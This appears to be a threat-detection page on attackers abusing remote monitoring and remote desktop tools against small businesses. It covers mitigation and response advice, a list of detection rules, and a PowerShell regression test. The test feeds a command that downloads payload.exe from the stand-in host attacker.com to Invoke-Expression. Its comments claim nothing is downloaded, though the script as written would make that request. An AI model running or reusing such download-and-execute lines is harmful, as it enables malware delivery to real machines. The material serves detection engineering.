RMM Security for SMBs: A Remote Access Hardening Playbook
Detection stack
- AIDR
- Alert
- ETL
- Query
Summary
Attackers are increasingly abusing legitimate Remote Monitoring and Management (RMM) tools and Remote Desktop Services (RDS) to establish persistence and support lateral movement. Tools such as ConnectWise ScreenConnect, MeshAgent, and VNC can be weaponized through vulnerability exploitation or trojanized installers. This creates a significant challenge for Small and Medium Businesses, where malicious activity can closely resemble legitimate IT administration.
Investigation
The analysis draws on Acronis telemetry from more than 1.8 million managed endpoints to assess RMM-related risks for SMBs and MSPs. Researchers found that 63% of endpoints run multiple remote access tools, expanding the potential attack surface. The study grouped RMM software into three categories: tools to block, tools to monitor and harden, and tools to audit and maintain.
Mitigation
Organizations should disable unnecessary RDP services through Group Policy, enforce Network Level Authentication (NLA), and require MFA for all RMM administrator accounts. Application allowlisting can help prevent unauthorized RMM installations, while internet-facing RMM infrastructure should be patched promptly. Routing remote access through VPN or ZTNA gateways is also recommended to strengthen access controls.
Response
When unauthorized RMM tools are detected, organizations should immediately investigate their installation source and look for related credential theft or lateral movement. Unauthorized MeshAgent activity should be treated as a confirmed compromise. Automated removal may be ineffective when persistence mechanisms are present, requiring escalation to manual incident response and deeper forensic investigation.
Attack Flow
We are still updating this part.
Detections
Alternative Remote Access / Management Software (via process_creation)
Possible ScreenConnect Remote Command Execution Attempt (via cmdline)
Alternative Remote Access / Management Software (via system)
Alternative Remote Access / Management Software (via audit)
Use of PowerShell for Deploying Malware [Windows Powershell]
Detect RDP Configuration Changes for Unauthorized Access [Windows Registry Event]
imulation Execution
Prerequisite: The Telemetry & Baseline Pre-flight Check must have passed.
Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.
-
Attack Narrative & Commands: The adversary has gained initial access to the workstation via a phishing payload. To establish persistence and remote control, they intend to deploy a Remote Access Trojan. They execute a PowerShell one-liner that, while not actually downloading a payload in this simulation, contains the signature string
AsyncRATwithin the script block to simulate the deployment phase of a malware installation. This mimics an attacker using a simple script to pull down their toolkit. -
Regression Test Script:
# Simulation script to trigger the detection rule by including the targeted string. # Note: This is a non-malicious simulation designed only to produce telemetry. $SimulatedMalwareName = "AsyncRAT" Write-Host "Initializing deployment sequence for $SimulatedMalwareName..." # This block simulates the logic of a downloader/installer $payload = "Invoke-WebRequest -Uri 'http://attacker.com/payload.exe' -OutFile '$env:TEMPmalware.exe'" # Executing the string to ensure it appears in the Script Block Log (Event 4104) Invoke-Expression "Write-Output 'Deploying $SimulatedMalwareName...'; $payload" -
Cleanup Commands:
# Cleanup: Remove any artifacts if they were actually created. # In this simulation, no files were actually downloaded. Remove-Item -Path "$env:TEMPmalware.exe" -ErrorAction SilentlyContinue Write-Host "Cleanup complete."